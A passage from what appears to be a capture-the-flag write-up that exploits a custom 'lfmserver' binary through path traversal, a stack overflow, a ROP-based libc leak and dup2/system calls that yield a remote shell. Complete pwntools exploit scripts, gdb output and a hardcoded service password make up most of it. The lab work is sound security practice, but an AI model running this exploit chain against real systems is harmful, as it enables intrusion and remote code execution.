A configuration file is placed in /etc/lfmserver/lfmserver.conf, where you can
configure thresholds, number of processes, number of threads, ...

This also came with sample config

kali@kali:~/lfm$ cat lfmserver.conf
NumberOfChildren=4
NumberOfThreadsPerProcess=1
MaxNumberOfThreadsPerProcess=5
PercentageOfDeadChildren=0.2
Port=5000

I ended up making a file /etc/lfmserver/lfmserver.conf containing

NumberOfChildren=1
NumberOfThreadsPerProcess=1
MaxNumberOfThreadsPerProcess=5
PercentageOfDeadChildren=0.2
Port=8888

And when I next ran the binary the log showed

kali@kali:~/lfm$ cat lfmserver.log
lfmserver[3357]: Server starting on port 8888. Logfile = lfmserver.log
Number of children: 1
lfmserver[3357]: perc_dead_child: 0.200000
lfmserver[3357]: socket created (fd=5)
lfmserver[3357]: socket bind() OK
lfmserver[3357]: listen() went ok. BACKLOG=128
lfmserver[3358]: N_THREAD: 1, MAX_THREADS: 5

Now it listens on port 8888, also of note the fd of 5 was the same across all reboots. This may be important later for a dup2 based payload. I ended up having a bit of trouble getting the system going and found the following in the log

lfmserver[4335]: 404 NOT FOUND: ./files/../../../../../../etc/passwd

It turned out to need a directory called files to work, so I made one. And ran a new version of my crash exploit

from pwn import *

context(os='linux', arch='amd64')
#context.log_level='DEBUG'

IP        = "127.0.0.1"
PORT      = 8888
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../../../../../../.."
HASH      = "AAAAAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():
  url = "{}{}%00{}".format(url_encode(TRAVERSAL), FILE, url_encode("A"*200))

  stage_1 = REQ.format(url, USER, PASS, HASH)

  r = remote(IP, PORT)
  r.send(stage_1)

if __name__ == '__main__':
  main()

In gdb this gave the following

[----------------------------------registers-----------------------------------]
RAX: 0xffffffff
RBX: 0x0
RCX: 0x7ffff7b74fef (<__libc_write+79>: cmp    rax,0xfffffffffffff000)
RDX: 0x17
RSI: 0x7ffff797fd40 ("LFM 406 MD5 NOT MATCH\r\n")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7ffff797fe78 ('A' <repeats 84 times>)
RIP: 0x403db7 (ret)
R8 : 0x0
R9 : 0x17
R10: 0x400cea --> 0x7266006574697277 ('write')
R11: 0x0
R12: 0x7fffffffde8e --> 0x0
R13: 0x7fffffffde8f --> 0x0
R14: 0x7ffff797ffc0 --> 0x0
R15: 0x802000
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x403dac:    call   0x402eb1
   0x403db1:    mov    eax,0xffffffff
   0x403db6:    leave
=> 0x403db7:    ret
   0x403db8:    push   rbp
   0x403db9:    mov    rbp,rsp
   0x403dbc:    push   rbx
   0x403dbd:    sub    rsp,0x28
[------------------------------------stack-------------------------------------]
0000| 0x7ffff797fe78 ('A' <repeats 84 times>)
0008| 0x7ffff797fe80 ('A' <repeats 76 times>)
0016| 0x7ffff797fe88 ('A' <repeats 68 times>)
0024| 0x7ffff797fe90 ('A' <repeats 60 times>)
0032| 0x7ffff797fe98 ('A' <repeats 52 times>)
0040| 0x7ffff797fea0 ('A' <repeats 44 times>)
0048| 0x7ffff797fea8 ('A' <repeats 36 times>)
0056| 0x7ffff797feb0 ('A' <repeats 28 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000403db7 in ?? ()

So I had a crash, I added 6 B’s to the end of the A’s to see if I could overwrite RIP. And with some adjustments

from pwn import *

context(os='linux', arch='amd64')
#context.log_level='DEBUG'

IP        = "127.0.0.1"
PORT      = 8888
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH      = "AAAAAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():
  url = "{}{}%00{}".format(url_encode(TRAVERSAL), FILE, url_encode("A"*125 + "B" * 6))

  stage_1 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 1")
  print("========")
  print(stage_1)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_1)
  print(r.recv(8096))

if __name__ == '__main__':
  main()

Gave

[----------------------------------registers-----------------------------------]
RAX: 0xffffffff
RBX: 0x0
RCX: 0x7f218ad4ab87 (<write+71>:        cmp    rax,0xfffffffffffff000)
RDX: 0x17
RSI: 0x7f218ab31d40 ("LFM 406 MD5 NOT MATCH\r\n")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7f218ab31e80 --> 0x7f2184000b20 --> 0x0
RIP: 0x424242424242 ('BBBBBB')
R8 : 0x0
R9 : 0x1
R10: 0x7
R11: 0x0
R12: 0x7ffe1833eb1e --> 0x0
R13: 0x7ffe1833eb1f --> 0x0
R14: 0x409580 --> 0x0
R15: 0x7f218ab31fc0 --> 0x0
EFLAGS: 0x10213 (CARRY parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x424242424242
[------------------------------------stack-------------------------------------]
0000| 0x7f218ab31e80 --> 0x7f2184000b20 --> 0x0
0008| 0x7f218ab31e88 --> 0x600404df5
0016| 0x7f218ab31e90 --> 0x7f2184000b60 --> 0x6
0024| 0x7f218ab31e98 --> 0x7f2184000b40 ("127.0.0.1")
0032| 0x7f218ab31ea0 --> 0x7f218ab31ef0 --> 0x0
0040| 0x7f218ab31ea8 --> 0x405035 (mov    eax,DWORD PTR [rbp-0x10])
0048| 0x7f218ab31eb0 --> 0x0
0056| 0x7f218ab31eb8 --> 0x2107540 --> 0x7f218ab32700 (0x00007f218ab32700)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000424242424242 in ?? ()

So I could take control of RIP. First I wanted to leak the ASLR offset and then pop a shell. To do this I need to compare a real libc address against a libc base address. To move data I will use write with their socket https://linux.die.net/man/2/write. Write takes the file descriptor, the buffer to write, and how much to write. As the logs had shown the main process uses a file descriptor of 5. So it was logical that the first one to try for the child’s socket was 6. I then want to give the call a GOT reference for a libc function, which will show me the real address. For the final value I needed to provide a value of at leas 8 as this was the possible size of the address.

Under the calling convention for 64 bit I needed to pass the parameters through specific registers, namely

param 1 : RDI
param 2 : RSI
param 3 : RDX

Finally I then pass the address of the function I actually want to call. In this case the PLT address of write. I looked for the required pops (for registers) in the binary using ropper and got

0x0000000000405c4b: pop rdi; ret;
0x0000000000405c49: pop rsi; pop r15; ret;

No pop RDX, but luckily I can see from the previous crashes RDX already contains 0x17 at time of crash, this will result in more data than is needed being sent, but it will be workable. Furthermore my pop RSI gadget has an additional pop before the ret, so I will need to include a dummy value to pop into R15 when I used it.

I then needed the PLT address of write

kali@kali:~/lfm$ objdump -D lfmserver | grep write
00000000004023c0 <fwrite@plt>:
0000000000402420 <write@plt>:
  4025d7:       e8 44 fe ff ff          callq  402420 <write@plt>
  4043ba:       e8 01 e0 ff ff          callq  4023c0 <fwrite@plt>
  40481e:       e8 9d db ff ff          callq  4023c0 <fwrite@plt>
  405829:       e8 92 cb ff ff          callq  4023c0 <fwrite@plt>

So

0000000000402420

And I also needed a got address for a function to use in offset calculating, I used a quick script to dump options for this

kali@kali:~/lfm$ cat got.py
from pwn import *

context(os='linux', arch='amd64')

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

for option in ELF.got:
  print("{} : {}".format(option, ELF.got[option]))

kali@kali:~/lfm$ python got.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
strncmp : 4231296
fork : 4231624
malloc : 4231304
htonl : 4231656
strtoul : 4231712
snprintf : 4231224
stdout : 4231976
__errno_location : 4231544
memset : 4231216
fread : 4231528
strtok_r : 4231456
pthread_mutex_lock : 4231664
pthread_cond_signal : 4231248
fwrite : 4231648
__libc_start_main : 4231160
semop : 4231600
pthread_create : 4231392
fgets : 4231360
close : 4231232
feof : 4231576
fopen : 4231312
strlen : 4231384
strncpy : 4231592
strtol : 4231504
write : 4231696
pause : 4231208
pthread_attr_setdetachstate : 4231768
open : 4231736
floor : 4231680
strtod : 4231752
openlog : 4231264
vsyslog : 4231344
strndup : 4231744
pthread_mutex_init : 4231352
access : 4231616
MD5_Final : 4231416
exit : 4231272
sprintf : 4231448
accept : 4231704
realloc : 4231672
pthread_cond_timedwait : 4231320
log10 : 4231192
MD5_Update : 4231432
listen : 4231440
sendfile : 4231536
pthread_exit : 4231488
MD5_Init : 4231560
dup2 : 4231200
read : 4231288
fclose : 4231584
pthread_cond_init : 4231408
inet_ntop : 4231728
free : 4231376
ceil : 4231240
semget : 4231328
pthread_attr_init : 4231608
semctl : 4231496
pthread_mutex_unlock : 4231720
strstr : 4231472
sigaction : 4231480
strcasecmp : 4231280
setsockopt : 4231336
__gmon_start__ : 4231152
socket : 4231520
__xpg_strerror_r : 4231568
bind : 4231640
htons : 4231256
strerror : 4231464
getprotobyname : 4231424
waitpid : 4231512
time : 4231760
stderr : 4231968
__xstat : 4231400
fprintf : 4231688
closelog : 4231368
sigemptyset : 4231632
strcmp : 4231552

I needed it to be one that was part of libc, so I chose malloc, and then built a stage 1 payload

kali@kali:~/lfm$ cat exploit.py
from pwn import *

context(os='linux', arch='amd64')
#context.log_level='DEBUG'

IP        = "127.0.0.1"
PORT      = 8888
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH      = "AAAAAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

OFFSET = 125

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():

  ret_filler = "A" * OFFSET
  pop_rdi = p64(0x405c4b)
  pop_rsi = p64(0x405c49)
  got_value = p64(ELF.got['malloc'])
  write_plt = p64(0x402420)
  dummy_filler = "Z" * 8
  sock_fd = p64(6)

  url = ""
  url += url_encode(TRAVERSAL)
  url += FILE
  url += "%00"
  url += url_encode(ret_filler)
  url += url_encode(pop_rdi)
  url += url_encode(sock_fd)
  url += url_encode(pop_rsi)
  url += url_encode(got_value)
  url += url_encode(dummy_filler)
  url += url_encode(write_plt)

  stage_1 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 1")
  print("========")
  print(stage_1)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_1)
  print(r.recv(8096))
  print(r.recv(8096))

if __name__ == '__main__':
  main()

Which I then ran

kali@kali:~/lfm$ python textexploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

AAAAAAAA

========
[+] Opening connection to 127.0.0.1 on port 8888: Done
LFM 406 MD5 NOT MATCH
\x90K\xbe\x8a!\x7f\x00���\x8a!\x7f\x00PuԊ!\x7f\x00

It looked like I was getting a leak, so I added libc offset handling

kali@kali:~/lfm$ cat exploit.py
from pwn import *

context(os='linux', arch='amd64')
#context.log_level='DEBUG'

IP        = "127.0.0.1"
PORT      = 8888
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH      = "AAAAAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

OFFSET = 125

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():

  ret_filler = "A" * OFFSET
  pop_rdi = p64(0x405c4b)
  pop_rsi = p64(0x405c49)
  got_value = p64(ELF.got['malloc'])
  write_plt = p64(0x402420)
  dummy_filler = "Z" * 8
  sock_fd = p64(6)

  url = ""
  url += url_encode(TRAVERSAL)
  url += FILE
  url += "%00"
  url += url_encode(ret_filler)
  url += url_encode(pop_rdi)
  url += url_encode(sock_fd)
  url += url_encode(pop_rsi)
  url += url_encode(got_value)
  url += url_encode(dummy_filler)
  url += url_encode(write_plt)

  stage_1 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 1")
  print("========")
  print(stage_1)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_1)
  print(r.recvline())
  print("==== leak? ====")
  leak = r.recv(8096)

  print(leak)

  cleaned = leak[:8].strip().ljust(8, "\x00")

  print(cleaned)

  libc_malloc = LIBC.sym['malloc']
  real_malloc = u64(cleaned)

  print("libc malloc: {}".format(hex(LIBC.sym['malloc'])))
  print("Real malloc: {}".format(hex(real_malloc)))
  libc_offset = real_malloc - libc_malloc
  LIBC.address = real_malloc - libc_malloc
  print("Libc offset: {}".format(libc_offset))
  print("Libc base: {}".format(hex(LIBC.address)))

if __name__ == '__main__':
  main()

Which I then ran

kali@kali:~/lfm$ python exploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

AAAAAAAA

========
[+] Opening connection to 127.0.0.1 on port 8888: Done
LFM 406 MD5 NOT MATCH

==== leak? ====
\x90K\xbe\x8a!\x7f\x00���\x8a!\x7f\x00PuԊ!\x7f\x00
\x90K\xbe\x8a!\x7f\x00
libc malloc: 0x95b90
Real malloc: 0x7f218abe4b90
Libc offset: 139782037762048
Libc base: 0x7f218ab4f000
[*] Closed connection to 127.0.0.1 port 8888

I compared the believed location of malloc with the real one by checking it in gdb

gdb-peda$ p malloc
$1 = {<text variable, no debug info>} 0x7f218abe4b90 <malloc>

They matched, the ASLR leak was working. The next step is to create a shell. To do this I will use dup2 to duplicate file descriptors 0, 1 and 2 onto the socket and then execute /bin/sh. https://linux.die.net/man/2/dup2 dup2 is fairly simple, pass it the fd I have and the fd I want. I needed to call it 3 times as

dup2(6, 0)
dup2(6, 1)
dup2(6, 2)

Again param 1 in RDI and param 2 in RSI, remembering my RSI gadget needs some dummy data. Once I had the dup2 called, I just needed to called system with a reference to /bin/sh, pwntools makes this fairly simple. Which led to

kali@kali:~/lfm$ cat exploit.py
from pwn import *

context(os='linux', arch='amd64')
#context.log_level='DEBUG'

IP        = "127.0.0.1"
PORT      = 8888
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH      = "AAAAAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

OFFSET = 125

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():

  ret_filler = "A" * OFFSET
  pop_rdi = p64(0x405c4b)
  pop_rsi = p64(0x405c49)
  got_value = p64(ELF.got['malloc'])
  write_plt = p64(0x402420)
  dummy_filler = "Z" * 8
  sock_fd = p64(6)

  url = ""
  url += url_encode(TRAVERSAL)
  url += FILE
  url += "%00"
  url += url_encode(ret_filler)
  url += url_encode(pop_rdi)
  url += url_encode(sock_fd)
  url += url_encode(pop_rsi)
  url += url_encode(got_value)
  url += url_encode(dummy_filler)
  url += url_encode(write_plt)

  stage_1 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 1")
  print("========")
  print(stage_1)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_1)
  print(r.recvline())
  print("==== leak? ====")
  leak = r.recv(8096)

  print(leak)

  cleaned = leak[:8].strip().ljust(8, "\x00")

  print(cleaned)

  libc_malloc = LIBC.sym['malloc']
  real_malloc = u64(cleaned)

  print("libc malloc: {}".format(hex(LIBC.sym['malloc'])))
  print("Real malloc: {}".format(hex(real_malloc)))
  libc_offset = real_malloc - libc_malloc
  LIBC.address = real_malloc - libc_malloc
  print("Libc offset: {}".format(libc_offset))
  print("Libc base: {}".format(hex(LIBC.address)))

  raw_input("Press enter to continue")

  binsh = next(LIBC.search("/bin/sh"))

  url = ""
  url += url_encode(TRAVERSAL)
  url += FILE
  url += "%00"
  url += url_encode(ret_filler)

  for i in range(3):
    url += url_encode(pop_rdi)
    url += url_encode(sock_fd)
    url += url_encode(pop_rsi)
    url += url_encode(p64(i))
    url += url_encode(dummy_filler)
    url += url_encode(p64(LIBC.sym['dup2']))

  url += url_encode(pop_rdi)
  url += url_encode(p64(binsh))
  url += url_encode(pop_rsi)
  url += url_encode(p64(0))
  url += url_encode(dummy_filler)
  url += url_encode(p64(LIBC.sym['system']))

  stage_2 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 2")
  print("========")
  print(stage_2)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_2)
  r.interactive()

if __name__ == '__main__':
  main()

Which I ran

kali@kali:~/lfm$ python exploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

AAAAAAAA

========
[+] Opening connection to 127.0.0.1 on port 8888: Done
LFM 406 MD5 NOT MATCH

==== leak? ====
\x90K\xbe\x8a!\x7f\x00���\x8a!\x7f\x00PuԊ!\x7f\x00
\x90K\xbe\x8a!\x7f\x00
libc malloc: 0x95b90
Real malloc: 0x7f218abe4b90
Libc offset: 139782037762048
Libc base: 0x7f218ab4f000
Press enter to continue
STAGE 2
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%c5%8a%21%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%01%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%c5%8a%21%7f%00%00%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%02%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%c0%96%c5%8a%21%7f%00%00%4b%5c%40%00%00%00%00%00%80%9e%cf%8a%21%7f%00%00%49%5c%40%00%00%00%00%00%00%00%00%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%00%f3%b9%8a%21%7f%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

AAAAAAAA

========
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Switching to interactive mode
LFM 406 MD5 NOT MATCH
/bin/sh: 1: : not found
$

A shell popped on my local testing version. So I updated the exploit to point at the target, leading to a final exploit of

kali@kali:~/lfm$ cat exploit.py
from pwn import *

context(os='linux', arch='amd64')
#context.log_level='DEBUG'

#IP        = "127.0.0.1"
IP        = "10.10.10.173"
PORT      = 8888
USER      = "lfmserver_user"
PASS      = "!gby0l0r0ck$$!"
FILE      = "/etc/passwd"
TRAVERSAL = "../../../../../../../.."
HASH      = "AAAAAAAA"

REQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\r\n\r\n"

ELF  = elf.ELF("./lfmserver")
LIBC = elf.ELF("/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")

OFFSET = 125

def url_encode(string):
  return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def main():

  ret_filler = "A" * OFFSET
  pop_rdi = p64(0x405c4b)
  pop_rsi = p64(0x405c49)
  got_value = p64(ELF.got['malloc'])
  write_plt = p64(0x402420)
  dummy_filler = "Z" * 8
  sock_fd = p64(6)

  url = ""
  url += url_encode(TRAVERSAL)
  url += FILE
  url += "%00"
  url += url_encode(ret_filler)
  url += url_encode(pop_rdi)
  url += url_encode(sock_fd)
  url += url_encode(pop_rsi)
  url += url_encode(got_value)
  url += url_encode(dummy_filler)
  url += url_encode(write_plt)

  stage_1 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 1")
  print("========")
  print(stage_1)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_1)
  print(r.recvline())
  print("==== leak? ====")
  leak = r.recv(8096)

  print(leak)

  cleaned = leak[:8].strip().ljust(8, "\x00")

  print(cleaned)

  libc_malloc = LIBC.sym['malloc']
  real_malloc = u64(cleaned)

  print("libc malloc: {}".format(hex(LIBC.sym['malloc'])))
  print("Real malloc: {}".format(hex(real_malloc)))
  libc_offset = real_malloc - libc_malloc
  LIBC.address = real_malloc - libc_malloc
  print("Libc offset: {}".format(libc_offset))
  print("Libc base: {}".format(hex(LIBC.address)))

  raw_input("Press enter to continue")

  binsh = next(LIBC.search("/bin/sh"))

  url = ""
  url += url_encode(TRAVERSAL)
  url += FILE
  url += "%00"
  url += url_encode(ret_filler)

  for i in range(3):
    url += url_encode(pop_rdi)
    url += url_encode(sock_fd)
    url += url_encode(pop_rsi)
    url += url_encode(p64(i))
    url += url_encode(dummy_filler)
    url += url_encode(p64(LIBC.sym['dup2']))

  url += url_encode(pop_rdi)
  url += url_encode(p64(binsh))
  url += url_encode(pop_rsi)
  url += url_encode(p64(0))
  url += url_encode(dummy_filler)
  url += url_encode(p64(LIBC.sym['system']))

  stage_2 = REQ.format(url, USER, PASS, HASH)

  print("STAGE 2")
  print("========")
  print(stage_2)
  print("========")

  r = remote(IP, PORT)
  r.send(stage_2)
  r.interactive()

if __name__ == '__main__':
  main()

Which when I ran it

kali@kali:~/lfm$ python exploit.py
[*] '/home/kali/Documents/patents/pwn/lfmserver'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/:'
[*] '/opt/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
STAGE 1
========
CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd%00%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%4b%5c%40%00%00%00%00%00%06%00%00%00%00%00%00%00%49%5c%40%00%00%00%00%00%88%90%40%00%00%00%00%00%5a%5a%5a%5a%5a%5a%5a%5a%20%24%40%00%00%00%00%00 LFM
User=lfmserver_user
Password=!gby0l0r0ck$$!

AAAAAAAA

========
[+] Opening connection to 10.10.10.173 on port 8888: Done
LFM 406 MD5 NOT MATCH

==== leak? ====
\x90Kdf\x04\x00��bf\x04\x00Puzf\x04\x00
\x90Kdf\x04\x00
libc malloc: 0x95b90
Real malloc: 0x7f0466644b90
Libc offset: 139656873832448
Libc base: 0x7f04665af000
Press enter to continue
STAGE 2
========
